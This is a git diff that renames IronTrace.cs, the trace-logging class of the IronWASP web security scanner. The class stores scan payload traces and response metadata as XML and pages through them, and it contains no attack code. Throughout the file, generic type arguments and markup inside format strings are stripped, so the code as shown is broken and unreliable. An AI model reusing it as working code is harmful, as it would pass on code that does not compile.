IronWASP/IronTrace.cs rename to Iron/IronTrace.cs index d46e141..d6282b6 100644 --- a/IronWASP/IronTrace.cs +++ b/Iron/IronTrace.cs @@ -1,582 +1,582 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Threading; -using System.Collections.Generic; -using System.Text; -using System.Xml; - - -namespace IronWASP -{ - internal class IronTrace - { - internal int ID=0; - internal int ThreadID = 0; - internal string Time = ""; - internal string Date = ""; - internal string Source = ""; - internal string Message = ""; - - internal int ScanID = 0; - internal string PluginName = ""; - internal string Section = ""; - internal string Parameter = ""; - internal string Title = ""; - internal string OverviewXml = ""; - string messageXml = ""; - - internal int LogId = 0; - internal string LogSource = ""; - internal string SessionPluginName = ""; - internal string Action = ""; - - internal static int ScanTraceMin = 0; - internal static int ScanTraceMax = 0; - - internal static int SelectedSessionPluginTraceLogId = 0; - internal static string SelectedSessionPluginTraceSource = ""; - - string Type = "Normal"; - - static Thread SessionLogLoadThread; - - internal string MessageXml - { - set - { - try - { - XmlDocument Xdoc = new XmlDocument(); - Xdoc.XmlResolver = null; - Xdoc.LoadXml(value); - } - catch - { - throw new Exception("Invalid Message Xml"); - } - this.messageXml = value; - } - get - { - return this.messageXml; - } - } - - internal IronTrace() - { - - } - - internal IronTrace(string Source, string Message) - { - this.ID = Interlocked.Increment(ref Config.TraceCount); - this.ThreadID = Thread.CurrentThread.ManagedThreadId; - this.Time = DateTime.Now.ToShortTimeString(); - this.Date = DateTime.Now.ToShortDateString(); - this.Source = Source; - this.Message = Message; - this.Type = "Normal"; - } - - internal IronTrace(int ScanID, string PluginName, string Section, string Parameter, string Title, string MessageXml, List OverviewEntries) - { - this.ID = Interlocked.Increment(ref Config.ScanTraceCount); - this.ScanID = ScanID; - this.PluginName = PluginName; - this.Section = Section; - this.Parameter = Parameter; - this.Title = Title; - try - { - this.MessageXml = MessageXml; - } - catch - { - this.Message = MessageXml; - } - this.OverviewXml = GetXmlFromOverviewEntries(OverviewEntries); - this.Type = "Scan"; - } - - internal IronTrace(Request Req, string PluginName, string Action, string Message) - { - this.ID = Interlocked.Increment(ref Config.SessionPluginTraceCount); - if (Req == null) - { - this.LogId = 0; - this.LogSource = ""; - } - else - { - this.LogId = Req.LogId; - this.LogSource = Req.Source; - } - this.SessionPluginName = PluginName; - this.Action = Action; - this.Message = Message; - this.Type = "SessionPlugin"; - } - - internal void Report() - { - if (this.Type.Equals("Normal")) - { - IronUpdater.AddTrace(this); - } - else if (this.Type.Equals("SessionPlugin")) - { - IronUpdater.AddSessionPluginTrace(this); - } - else - { - IronUpdater.AddScanTrace(this); - } - } - - internal string GetScanTracePrettyMessage() - { - if (this.MessageXml.Length == 0) - { - return this.Message; - } - - StringBuilder SB = new StringBuilder(); - - XmlDocument XDoc = new XmlDocument(); - XDoc.XmlResolver = null; - XDoc.LoadXml(this.MessageXml); - foreach (XmlElement Node in XDoc.DocumentElement.ChildNodes) - { - if (Node.Name.Equals("type_a")) - { - SB.Append(string.Format(">{0}", Node.InnerText)); - } - else if (Node.Name.Equals("type_b")) - { - int LogId = 0; - string RequestTrace = ""; - string ResponseTrace = ""; - foreach (XmlElement InnerNode in Node.ChildNodes) - { - switch (InnerNode.Name) - { - case ("log_id"): - LogId = Int32.Parse(InnerNode.InnerText); - break; - case ("req"): - RequestTrace = InnerNode.InnerText; - break; - case ("res"): - ResponseTrace = InnerNode.InnerText; - break; - } - } - SB.Append(string.Format(">{0} | {1} {2}", LogId, RequestTrace, ResponseTrace)); - } - } - SB.Append(">"); - return SB.ToString(); - } - - internal static void MoveScanTraceRecordForward(int JumpLevel) - { - IronUI.ShowScanTraceStatus("Loading please wait....", false); - Thread T = new Thread(MoveScanTraceRecordForward); - T.Start(JumpLevel); - } - internal static void MoveScanTraceRecordForward(object JumpLevelObj) - { - int JumpLevel = (int)JumpLevelObj; - List Records = GetNextScanTraceRecords(JumpLevel); - if (Records.Count == 0) - { - IronUI.ShowScanTraceStatus("Reached end of Scan Traces", true); - return; - } - IronUI.SetScanTraceGrid(Records); - } - internal static List GetNextScanTraceRecords(int JumpLevel) - { - int JumpCount = IronLog.GetJumpCount(JumpLevel); - int StartIndex = IronTrace.ScanTraceMax + JumpCount; - List Records = IronDB.GetScanTraces(StartIndex, IronLog.MaxRowCount); - if (Records.Count == 0) - { - int NewStartIndex = Config.LastScanTraceId - IronLog.MaxRowCount; - if (NewStartIndex > 0) - { - Records = IronDB.GetScanTraces(NewStartIndex, IronLog.MaxRowCount); - if (Records.Count > 0) - { - if (Records[Records.Count - 1].ID == IronTrace.ScanTraceMax) Records.Clear(); - } - } - } - return Records; - } - - - internal static void MoveScanTraceRecordBack(int JumpLevel) - { - IronUI.ShowScanTraceStatus("Loading please wait....", false); - Thread T = new Thread(MoveScanTraceRecordBack); - T.Start(JumpLevel); - } - internal static void MoveScanTraceRecordBack(object JumpLevelObj) - { - int JumpLevel = (int)JumpLevelObj; - List Records = GetPreviousScanTraceRecords(JumpLevel); - if (Records.Count == 0) return; - IronUI.SetScanTraceGrid(Records); - } - - internal static List GetPreviousScanTraceRecords(int JumpLevel) - { - List Records = new List(); - int CurrentMin = IronTrace.ScanTraceMin; - int JumpCount = IronLog.GetJumpCount(JumpLevel); - if (CurrentMin <= 1) - { - IronUI.ShowScanTraceStatus("Reached beginning of the log. Cannot go back further.", true); - return Records; - } - int StartIndex = CurrentMin - IronLog.MaxRowCount - JumpCount - 1; - Records = IronDB.GetScanTraces(StartIndex, IronLog.MaxRowCount); - return Records; - } - - static int[] GetScanTraceMinMaxIds(List Records) - { - int[] MinMax = new int[] { 0, 0 }; - if (Records.Count > 0) - { - MinMax[0] = Records[0].ID; - MinMax[1] = Records[Records.Count - 1].ID; - } - return MinMax; - } - - internal static string GetXmlFromOverviewEntries(List OverviewEntries) - { - //For reference - //if (this.TestResponse.ID == ResponseFromInjection.ID) - // this.TraceOverviewEntries.Add(new string[] { Payload, ResponseFromInjection.ID.ToString(), ResponseFromInjection.Code.ToString(), ResponseFromInjection.BodyLength.ToString(), ResponseFromInjection.ContentType, ResponseFromInjection.RoundTrip.ToString(), Tools.MD5(ResponseFromInjection.ToString()) }); - //else - // this.TraceOverviewEntries.Add(new string[] { Payload, this.TestResponse.ID.ToString(), this.TestResponse.Code.ToString(), this.TestResponse.BodyLength.ToString(), this.TestResponse.ContentType, this.TestResponse.RoundTrip.ToString(), Tools.MD5(this.TestResponse.ToString()), ResponseFromInjection.ID.ToString(), ResponseFromInjection.Code.ToString(), ResponseFromInjection.BodyLength.ToString(), ResponseFromInjection.ContentType, ResponseFromInjection.RoundTrip.ToString(), Tools.MD5(ResponseFromInjection.ToString()) }); - - StringBuilder SB = new StringBuilder(); - XmlWriter XW = XmlWriter.Create(SB); - XW.WriteStartDocument(); - XW.WriteStartElement("overview"); - for (int i = 0; i < OverviewEntries.Count; i++) - { - XW.WriteStartElement("entry"); - - XW.WriteStartElement("id"); XW.WriteValue(i + 1); XW.WriteEndElement(); - XW.WriteStartElement("payload"); XW.WriteValue(Tools.Base64Encode(OverviewEntries[i][0])); XW.WriteEndElement(); - - XW.WriteStartElement("log_id"); XW.WriteValue(OverviewEntries[i][1]); XW.WriteEndElement(); - XW.WriteStartElement("code"); XW.WriteValue(OverviewEntries[i][2]); XW.WriteEndElement(); - XW.WriteStartElement("length"); XW.WriteValue(OverviewEntries[i][3]); XW.WriteEndElement(); - XW.WriteStartElement("mime"); XW.WriteValue(OverviewEntries[i][4]); XW.WriteEndElement(); - XW.WriteStartElement("time"); XW.WriteValue(OverviewEntries[i][5]); XW.WriteEndElement(); - XW.WriteStartElement("signature"); XW.WriteValue(OverviewEntries[i][6]); XW.WriteEndElement(); - - XW.WriteEndElement(); - - if (OverviewEntries[i].Length == 13) - { - XW.WriteStartElement("entry"); - - XW.WriteStartElement("id"); XW.WriteValue(i + 1); XW.WriteEndElement(); - XW.WriteStartElement("payload"); XW.WriteValue(Tools.Base64Encode(OverviewEntries[i][0])); XW.WriteEndElement(); - - XW.WriteStartElement("log_id"); XW.WriteValue(OverviewEntries[i][7]); XW.WriteEndElement(); - XW.WriteStartElement("code"); XW.WriteValue(OverviewEntries[i][8]); XW.WriteEndElement(); - XW.WriteStartElement("length"); XW.WriteValue(OverviewEntries[i][9]); XW.WriteEndElement(); - XW.WriteStartElement("mime"); XW.WriteValue(OverviewEntries[i][10]); XW.WriteEndElement(); - XW.WriteStartElement("time"); XW.WriteValue(OverviewEntries[i][11]); XW.WriteEndElement(); - XW.WriteStartElement("signature"); XW.WriteValue(OverviewEntries[i][12]); XW.WriteEndElement(); - - XW.WriteEndElement(); - } - } - XW.WriteEndElement(); - XW.WriteEndDocument(); - XW.Close(); - return SB.ToString(); - } - - internal static List> GetOverviewEntriesFromXml(string OverviewXml) - { - List> OverviewEntries = new List>(); - XmlDocument XDoc = new XmlDocument(); - XDoc.XmlResolver = null; - try - { - XDoc.LoadXml(OverviewXml); - foreach (XmlNode EntryNode in XDoc.SelectNodes("//entry")) - { - try - { - Dictionary Entry = new Dictionary() - { - {"id", EntryNode.SelectNodes("id")[0].InnerText}, - {"payload", Tools.EncodeForTrace(Tools.Base64Decode(EntryNode.SelectNodes("payload")[0].InnerText))}, - {"log_id", EntryNode.SelectNodes("log_id")[0].InnerText}, - {"code", EntryNode.SelectNodes("code")[0].InnerText}, - {"length", EntryNode.SelectNodes("length")[0].InnerText}, - {"mime", EntryNode.SelectNodes("mime")[0].InnerText}, - {"time", EntryNode.SelectNodes("time")[0].InnerText}, - {"signature", EntryNode.SelectNodes("signature")[0].InnerText} - }; - OverviewEntries.Add(Entry); - } - catch { } - } - } - catch { } - return OverviewEntries; - } - - internal static void LoadSessionPluginTraceLog() - { - if (SelectedSessionPluginTraceLogId > 0 && SelectedSessionPluginTraceSource.Length > 0) - { - if (SessionLogLoadThread != null) - { - try - { - SessionLogLoadThread.Abort(); - } - catch { } - } - IronUI.ShowHideSessionPluginTraceProgressBar(true); - SessionLogLoadThread = new System.Threading.Thread(DoLoadSessionPluginTraceLog); - SessionLogLoadThread.Start(); - } - } - - static void DoLoadSessionPluginTraceLog() - { - try - { - Session Sess = Session.FromLog(SelectedSessionPluginTraceLogId, SelectedSessionPluginTraceSource); - IronUI.ShowSessionPluginTraceLog(Sess.Request, Sess.Response); - } - catch (ThreadAbortException) { } - catch (Exception Exp) - { - IronException.Report(string.Format("Error loading log-{0} from {1} log", SelectedSessionPluginTraceLogId, SelectedSessionPluginTraceSource), Exp); - } - finally - { - IronUI.ShowHideSessionPluginTraceProgressBar(false); - } - } - - internal static List GetGridRowsFromTraceAndOverviewXml(string OverviewXml, string TraceXml) - { - List Rows = new List(); - Dictionary Signatures = new Dictionary(); - - List> ODict = GetOverviewEntriesFromXml(OverviewXml); - List TArr = GetTraceXmlEntries(TraceXml); - - int TArrPointer = -1; - int TArrLogId = 0; - - for (int odi = 0; odi < ODict.Count ; odi++) - { - Dictionary ODR = ODict[odi]; - int ODictLogId = Int32.Parse(ODR["log_id"]); - - string Sign = ""; - if (Signatures.ContainsKey(ODR["signature"])) - { - Sign = Signatures[ODR["signature"]]; - } - else - { - Sign = GetShortResponseSignature(Signatures.Count); - Signatures.Add(ODR["signature"], Sign); - } - - if (odi == 0) - { - Rows.Add(new object[] { false, Rows.Count + 1, ODR["log_id"], ODR["payload"], ODR["code"], ODR["length"], ODR["mime"], ODR["time"], Sign, ">This is the baseline response>" }); - continue; - } - - - while (ODictLogId > TArrLogId && TArrPointer+1 < TArr.Count) - { - TArrPointer++; - try - { - TArrLogId = Int32.Parse(TArr[TArrPointer][0]); - } - catch - { - if (TArr[TArrPointer][1].Length > 0) - Rows.Add(new object[] { false, Rows.Count + 1, null, null, null, null, null, null, null, TArr[TArrPointer][1] }); - } - } - - - - - if (ODictLogId == TArrLogId) - { - Rows.Add(new object[] { false, Rows.Count + 1, ODR["log_id"], ODR["payload"], ODR["code"], ODR["length"], ODR["mime"], ODR["time"], Sign, TArr[TArrPointer][1] }); - } - else - { - Rows.Add(new object[] { false, Rows.Count + 1, ODR["log_id"], ODR["payload"], ODR["code"], ODR["length"], ODR["mime"], ODR["time"], Sign, "" }); - } - } - - return Rows; - } - - static List GetTraceXmlEntries(string TraceXml) - { - List Result = new List(); - XmlDocument XDoc = new XmlDocument(); - XDoc.XmlResolver = null; - try - { - XDoc.LoadXml(TraceXml); - foreach (XmlElement Node in XDoc.DocumentElement.ChildNodes) - { - if (Node.Name.Equals("type_a")) - { - foreach (string Line in SplitMessage(Node.InnerText)) - { - Result.Add(new string[]{"", Line}); - //Rows.Add(new object[] { false, null, null, null, null, null, null, null, null, Line }); - } - } - else if (Node.Name.Equals("type_b")) - { - int LogId = 0; - string RequestTrace = ""; - string ResponseTrace = ""; - foreach (XmlElement InnerNode in Node.ChildNodes) - { - switch (InnerNode.Name) - { - case ("log_id"): - try - { - LogId = Int32.Parse(InnerNode.InnerText); - } - catch { } - break; - case ("req"): - RequestTrace = InnerNode.InnerText; - break; - case ("res"): - ResponseTrace = InnerNode.InnerText; - break; - } - } - - List MessageLines = SplitMessage(string.Format("{0} {1}", RequestTrace, ResponseTrace)); - - for (int i = 0; i < MessageLines.Count; i++) - { - if (i == 0 && LogId > 0) - { - Result.Add(new string[] { LogId.ToString(), MessageLines[i] }); - } - else - { - Result.Add(new string[] { "", MessageLines[i] }); - } - } - } - } - } - catch{} - return Result; - } - - static List SplitMessage(string Message) - { - List Lines = new List(); - string OpenColorTag = ""; - foreach (string Line in Message.Split(new string[] { ">" }, StringSplitOptions.RemoveEmptyEntries)) - { - string LineToAdd = ""; - if (OpenColorTag.Length > 0) - { - string OT = string.Format(">", OpenColorTag); - string CT = string.Format(">", OpenColorTag); - if (Line.Contains(CT)) - { - LineToAdd = string.Format("{0}{1}", OT, Line); - OpenColorTag = ""; - } - else - { - LineToAdd = string.Format("{0}{1}{2}", OT, Line, CT); - } - } - else - { - foreach (string Color in new List { "cr", "co", "h", "hh", "cb", "cg", "b" }) - { - string OT = string.Format(">", Color); - string CT = string.Format(">", Color); - - if (Line.Contains(OT) && !Line.Contains(CT)) - { - LineToAdd = string.Format("{0} {1}", Line, CT); - OpenColorTag = Color; - } - } - } - if (LineToAdd.Length == 0) - { - LineToAdd = Line; - } - Lines.Add(LineToAdd); - } - if (Lines.Count == 0) - { - Lines.Add(""); - } - return Lines; - } - - public static string GetShortResponseSignature(int Count) - { - if (Count < 26) - { - return "ABCDEFGHIJKLMNOPQRSTUVWXYZ"[Count].ToString(); - } - else - { - return GetShortResponseSignature(Count / 26) + GetShortResponseSignature(Count % 26); - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Threading; +using System.Collections.Generic; +using System.Text; +using System.Xml; + + +namespace IronWASP +{ + internal class IronTrace + { + internal int ID=0; + internal int ThreadID = 0; + internal string Time = ""; + internal string Date = ""; + internal string Source = ""; + internal string Message = ""; + + internal int ScanID = 0; + internal string PluginName = ""; + internal string Section = ""; + internal string Parameter = ""; + internal string Title = ""; + internal string OverviewXml = ""; + string messageXml = ""; + + internal int LogId = 0; + internal string LogSource = ""; + internal string SessionPluginName = ""; + internal string Action = ""; + + internal static int ScanTraceMin = 0; + internal static int ScanTraceMax = 0; + + internal static int SelectedSessionPluginTraceLogId = 0; + internal static string SelectedSessionPluginTraceSource = ""; + + string Type = "Normal"; + + static Thread SessionLogLoadThread; + + internal string MessageXml + { + set + { + try + { + XmlDocument Xdoc = new XmlDocument(); + Xdoc.XmlResolver = null; + Xdoc.LoadXml(value); + } + catch + { + throw new Exception("Invalid Message Xml"); + } + this.messageXml = value; + } + get + { + return this.messageXml; + } + } + + internal IronTrace() + { + + } + + internal IronTrace(string Source, string Message) + { + this.ID = Interlocked.Increment(ref Config.TraceCount); + this.ThreadID = Thread.CurrentThread.ManagedThreadId; + this.Time = DateTime.Now.ToShortTimeString(); + this.Date = DateTime.Now.ToShortDateString(); + this.Source = Source; + this.Message = Message; + this.Type = "Normal"; + } + + internal IronTrace(int ScanID, string PluginName, string Section, string Parameter, string Title, string MessageXml, List OverviewEntries) + { + this.ID = Interlocked.Increment(ref Config.ScanTraceCount); + this.ScanID = ScanID; + this.PluginName = PluginName; + this.Section = Section; + this.Parameter = Parameter; + this.Title = Title; + try + { + this.MessageXml = MessageXml; + } + catch + { + this.Message = MessageXml; + } + this.OverviewXml = GetXmlFromOverviewEntries(OverviewEntries); + this.Type = "Scan"; + } + + internal IronTrace(Request Req, string PluginName, string Action, string Message) + { + this.ID = Interlocked.Increment(ref Config.SessionPluginTraceCount); + if (Req == null) + { + this.LogId = 0; + this.LogSource = ""; + } + else + { + this.LogId = Req.LogId; + this.LogSource = Req.Source; + } + this.SessionPluginName = PluginName; + this.Action = Action; + this.Message = Message; + this.Type = "SessionPlugin"; + } + + internal void Report() + { + if (this.Type.Equals("Normal")) + { + IronUpdater.AddTrace(this); + } + else if (this.Type.Equals("SessionPlugin")) + { + IronUpdater.AddSessionPluginTrace(this); + } + else + { + IronUpdater.AddScanTrace(this); + } + } + + internal string GetScanTracePrettyMessage() + { + if (this.MessageXml.Length == 0) + { + return this.Message; + } + + StringBuilder SB = new StringBuilder(); + + XmlDocument XDoc = new XmlDocument(); + XDoc.XmlResolver = null; + XDoc.LoadXml(this.MessageXml); + foreach (XmlElement Node in XDoc.DocumentElement.ChildNodes) + { + if (Node.Name.Equals("type_a")) + { + SB.Append(string.Format(">{0}", Node.InnerText)); + } + else if (Node.Name.Equals("type_b")) + { + int LogId = 0; + string RequestTrace = ""; + string ResponseTrace = ""; + foreach (XmlElement InnerNode in Node.ChildNodes) + { + switch (InnerNode.Name) + { + case ("log_id"): + LogId = Int32.Parse(InnerNode.InnerText); + break; + case ("req"): + RequestTrace = InnerNode.InnerText; + break; + case ("res"): + ResponseTrace = InnerNode.InnerText; + break; + } + } + SB.Append(string.Format(">{0} | {1} {2}", LogId, RequestTrace, ResponseTrace)); + } + } + SB.Append(">"); + return SB.ToString(); + } + + internal static void MoveScanTraceRecordForward(int JumpLevel) + { + IronUI.ShowScanTraceStatus("Loading please wait....", false); + Thread T = new Thread(MoveScanTraceRecordForward); + T.Start(JumpLevel); + } + internal static void MoveScanTraceRecordForward(object JumpLevelObj) + { + int JumpLevel = (int)JumpLevelObj; + List Records = GetNextScanTraceRecords(JumpLevel); + if (Records.Count == 0) + { + IronUI.ShowScanTraceStatus("Reached end of Scan Traces", true); + return; + } + IronUI.SetScanTraceGrid(Records); + } + internal static List GetNextScanTraceRecords(int JumpLevel) + { + int JumpCount = IronLog.GetJumpCount(JumpLevel); + int StartIndex = IronTrace.ScanTraceMax + JumpCount; + List Records = IronDB.GetScanTraces(StartIndex, IronLog.MaxRowCount); + if (Records.Count == 0) + { + int NewStartIndex = Config.LastScanTraceId - IronLog.MaxRowCount; + if (NewStartIndex > 0) + { + Records = IronDB.GetScanTraces(NewStartIndex, IronLog.MaxRowCount); + if (Records.Count > 0) + { + if (Records[Records.Count - 1].ID == IronTrace.ScanTraceMax) Records.Clear(); + } + } + } + return Records; + } + + + internal static void MoveScanTraceRecordBack(int JumpLevel) + { + IronUI.ShowScanTraceStatus("Loading please wait....", false); + Thread T = new Thread(MoveScanTraceRecordBack); + T.Start(JumpLevel); + } + internal static void MoveScanTraceRecordBack(object JumpLevelObj) + { + int JumpLevel = (int)JumpLevelObj; + List Records = GetPreviousScanTraceRecords(JumpLevel); + if (Records.Count == 0) return; + IronUI.SetScanTraceGrid(Records); + } + + internal static List GetPreviousScanTraceRecords(int JumpLevel) + { + List Records = new List(); + int CurrentMin = IronTrace.ScanTraceMin; + int JumpCount = IronLog.GetJumpCount(JumpLevel); + if (CurrentMin <= 1) + { + IronUI.ShowScanTraceStatus("Reached beginning of the log. Cannot go back further.", true); + return Records; + } + int StartIndex = CurrentMin - IronLog.MaxRowCount - JumpCount - 1; + Records = IronDB.GetScanTraces(StartIndex, IronLog.MaxRowCount); + return Records; + } + + static int[] GetScanTraceMinMaxIds(List Records) + { + int[] MinMax = new int[] { 0, 0 }; + if (Records.Count > 0) + { + MinMax[0] = Records[0].ID; + MinMax[1] = Records[Records.Count - 1].ID; + } + return MinMax; + } + + internal static string GetXmlFromOverviewEntries(List OverviewEntries) + { + //For reference + //if (this.TestResponse.ID == ResponseFromInjection.ID) + // this.TraceOverviewEntries.Add(new string[] { Payload, ResponseFromInjection.ID.ToString(), ResponseFromInjection.Code.ToString(), ResponseFromInjection.BodyLength.ToString(), ResponseFromInjection.ContentType, ResponseFromInjection.RoundTrip.ToString(), Tools.MD5(ResponseFromInjection.ToString()) }); + //else + // this.TraceOverviewEntries.Add(new string[] { Payload, this.TestResponse.ID.ToString(), this.TestResponse.Code.ToString(), this.TestResponse.BodyLength.ToString(), this.TestResponse.ContentType, this.TestResponse.RoundTrip.ToString(), Tools.MD5(this.TestResponse.ToString()), ResponseFromInjection.ID.ToString(), ResponseFromInjection.Code.ToString(), ResponseFromInjection.BodyLength.ToString(), ResponseFromInjection.ContentType, ResponseFromInjection.RoundTrip.ToString(), Tools.MD5(ResponseFromInjection.ToString()) }); + + StringBuilder SB = new StringBuilder(); + XmlWriter XW = XmlWriter.Create(SB); + XW.WriteStartDocument(); + XW.WriteStartElement("overview"); + for (int i = 0; i < OverviewEntries.Count; i++) + { + XW.WriteStartElement("entry"); + + XW.WriteStartElement("id"); XW.WriteValue(i + 1); XW.WriteEndElement(); + XW.WriteStartElement("payload"); XW.WriteValue(Tools.Base64Encode(OverviewEntries[i][0])); XW.WriteEndElement(); + + XW.WriteStartElement("log_id"); XW.WriteValue(OverviewEntries[i][1]); XW.WriteEndElement(); + XW.WriteStartElement("code"); XW.WriteValue(OverviewEntries[i][2]); XW.WriteEndElement(); + XW.WriteStartElement("length"); XW.WriteValue(OverviewEntries[i][3]); XW.WriteEndElement(); + XW.WriteStartElement("mime"); XW.WriteValue(OverviewEntries[i][4]); XW.WriteEndElement(); + XW.WriteStartElement("time"); XW.WriteValue(OverviewEntries[i][5]); XW.WriteEndElement(); + XW.WriteStartElement("signature"); XW.WriteValue(OverviewEntries[i][6]); XW.WriteEndElement(); + + XW.WriteEndElement(); + + if (OverviewEntries[i].Length == 13) + { + XW.WriteStartElement("entry"); + + XW.WriteStartElement("id"); XW.WriteValue(i + 1); XW.WriteEndElement(); + XW.WriteStartElement("payload"); XW.WriteValue(Tools.Base64Encode(OverviewEntries[i][0])); XW.WriteEndElement(); + + XW.WriteStartElement("log_id"); XW.WriteValue(OverviewEntries[i][7]); XW.WriteEndElement(); + XW.WriteStartElement("code"); XW.WriteValue(OverviewEntries[i][8]); XW.WriteEndElement(); + XW.WriteStartElement("length"); XW.WriteValue(OverviewEntries[i][9]); XW.WriteEndElement(); + XW.WriteStartElement("mime"); XW.WriteValue(OverviewEntries[i][10]); XW.WriteEndElement(); + XW.WriteStartElement("time"); XW.WriteValue(OverviewEntries[i][11]); XW.WriteEndElement(); + XW.WriteStartElement("signature"); XW.WriteValue(OverviewEntries[i][12]); XW.WriteEndElement(); + + XW.WriteEndElement(); + } + } + XW.WriteEndElement(); + XW.WriteEndDocument(); + XW.Close(); + return SB.ToString(); + } + + internal static List> GetOverviewEntriesFromXml(string OverviewXml) + { + List> OverviewEntries = new List>(); + XmlDocument XDoc = new XmlDocument(); + XDoc.XmlResolver = null; + try + { + XDoc.LoadXml(OverviewXml); + foreach (XmlNode EntryNode in XDoc.SelectNodes("//entry")) + { + try + { + Dictionary Entry = new Dictionary() + { + {"id", EntryNode.SelectNodes("id")[0].InnerText}, + {"payload", Tools.EncodeForTrace(Tools.Base64Decode(EntryNode.SelectNodes("payload")[0].InnerText))}, + {"log_id", EntryNode.SelectNodes("log_id")[0].InnerText}, + {"code", EntryNode.SelectNodes("code")[0].InnerText}, + {"length", EntryNode.SelectNodes("length")[0].InnerText}, + {"mime", EntryNode.SelectNodes("mime")[0].InnerText}, + {"time", EntryNode.SelectNodes("time")[0].InnerText}, + {"signature", EntryNode.SelectNodes("signature")[0].InnerText} + }; + OverviewEntries.Add(Entry); + } + catch { } + } + } + catch { } + return OverviewEntries; + } + + internal static void LoadSessionPluginTraceLog() + { + if (SelectedSessionPluginTraceLogId > 0 && SelectedSessionPluginTraceSource.Length > 0) + { + if (SessionLogLoadThread != null) + { + try + { + SessionLogLoadThread.Abort(); + } + catch { } + } + IronUI.ShowHideSessionPluginTraceProgressBar(true); + SessionLogLoadThread = new System.Threading.Thread(DoLoadSessionPluginTraceLog); + SessionLogLoadThread.Start(); + } + } + + static void DoLoadSessionPluginTraceLog() + { + try + { + Session Sess = Session.FromLog(SelectedSessionPluginTraceLogId, SelectedSessionPluginTraceSource); + IronUI.ShowSessionPluginTraceLog(Sess.Request, Sess.Response); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + IronException.Report(string.Format("Error loading log-{0} from {1} log", SelectedSessionPluginTraceLogId, SelectedSessionPluginTraceSource), Exp); + } + finally + { + IronUI.ShowHideSessionPluginTraceProgressBar(false); + } + } + + internal static List GetGridRowsFromTraceAndOverviewXml(string OverviewXml, string TraceXml) + { + List Rows = new List(); + Dictionary Signatures = new Dictionary(); + + List> ODict = GetOverviewEntriesFromXml(OverviewXml); + List TArr = GetTraceXmlEntries(TraceXml); + + int TArrPointer = -1; + int TArrLogId = 0; + + for (int odi = 0; odi < ODict.Count ; odi++) + { + Dictionary ODR = ODict[odi]; + int ODictLogId = Int32.Parse(ODR["log_id"]); + + string Sign = ""; + if (Signatures.ContainsKey(ODR["signature"])) + { + Sign = Signatures[ODR["signature"]]; + } + else + { + Sign = GetShortResponseSignature(Signatures.Count); + Signatures.Add(ODR["signature"], Sign); + } + + if (odi == 0) + { + Rows.Add(new object[] { false, Rows.Count + 1, ODR["log_id"], ODR["payload"], ODR["code"], ODR["length"], ODR["mime"], ODR["time"], Sign, ">This is the baseline response>" }); + continue; + } + + + while (ODictLogId > TArrLogId && TArrPointer+1 < TArr.Count) + { + TArrPointer++; + try + { + TArrLogId = Int32.Parse(TArr[TArrPointer][0]); + } + catch + { + if (TArr[TArrPointer][1].Length > 0) + Rows.Add(new object[] { false, Rows.Count + 1, null, null, null, null, null, null, null, TArr[TArrPointer][1] }); + } + } + + + + + if (ODictLogId == TArrLogId) + { + Rows.Add(new object[] { false, Rows.Count + 1, ODR["log_id"], ODR["payload"], ODR["code"], ODR["length"], ODR["mime"], ODR["time"], Sign, TArr[TArrPointer][1] }); + } + else + { + Rows.Add(new object[] { false, Rows.Count + 1, ODR["log_id"], ODR["payload"], ODR["code"], ODR["length"], ODR["mime"], ODR["time"], Sign, "" }); + } + } + + return Rows; + } + + static List GetTraceXmlEntries(string TraceXml) + { + List Result = new List(); + XmlDocument XDoc = new XmlDocument(); + XDoc.XmlResolver = null; + try + { + XDoc.LoadXml(TraceXml); + foreach (XmlElement Node in XDoc.DocumentElement.ChildNodes) + { + if (Node.Name.Equals("type_a")) + { + foreach (string Line in SplitMessage(Node.InnerText)) + { + Result.Add(new string[]{"", Line}); + //Rows.Add(new object[] { false, null, null, null, null, null, null, null, null, Line }); + } + } + else if (Node.Name.Equals("type_b")) + { + int LogId = 0; + string RequestTrace = ""; + string ResponseTrace = ""; + foreach (XmlElement InnerNode in Node.ChildNodes) + { + switch (InnerNode.Name) + { + case ("log_id"): + try + { + LogId = Int32.Parse(InnerNode.InnerText); + } + catch { } + break; + case ("req"): + RequestTrace = InnerNode.InnerText; + break; + case ("res"): + ResponseTrace = InnerNode.InnerText; + break; + } + } + + List MessageLines = SplitMessage(string.Format("{0} {1}", RequestTrace, ResponseTrace)); + + for (int i = 0; i < MessageLines.Count; i++) + { + if (i == 0 && LogId > 0) + { + Result.Add(new string[] { LogId.ToString(), MessageLines[i] }); + } + else + { + Result.Add(new string[] { "", MessageLines[i] }); + } + } + } + } + } + catch{} + return Result; + } + + static List SplitMessage(string Message) + { + List Lines = new List(); + string OpenColorTag = ""; + foreach (string Line in Message.Split(new string[] { ">" }, StringSplitOptions.RemoveEmptyEntries)) + { + string LineToAdd = ""; + if (OpenColorTag.Length > 0) + { + string OT = string.Format(">", OpenColorTag); + string CT = string.Format(">", OpenColorTag); + if (Line.Contains(CT)) + { + LineToAdd = string.Format("{0}{1}", OT, Line); + OpenColorTag = ""; + } + else + { + LineToAdd = string.Format("{0}{1}{2}", OT, Line, CT); + } + } + else + { + foreach (string Color in new List { "cr", "co", "h", "hh", "cb", "cg", "b" }) + { + string OT = string.Format(">", Color); + string CT = string.Format(">", Color); + + if (Line.Contains(OT) && !Line.Contains(CT)) + { + LineToAdd = string.Format("{0} {1}", Line, CT); + OpenColorTag = Color; + } + } + } + if (LineToAdd.Length == 0) + { + LineToAdd = Line; + } + Lines.Add(LineToAdd); + } + if (Lines.Count == 0) + { + Lines.Add(""); + } + return Lines; + } + + public static string 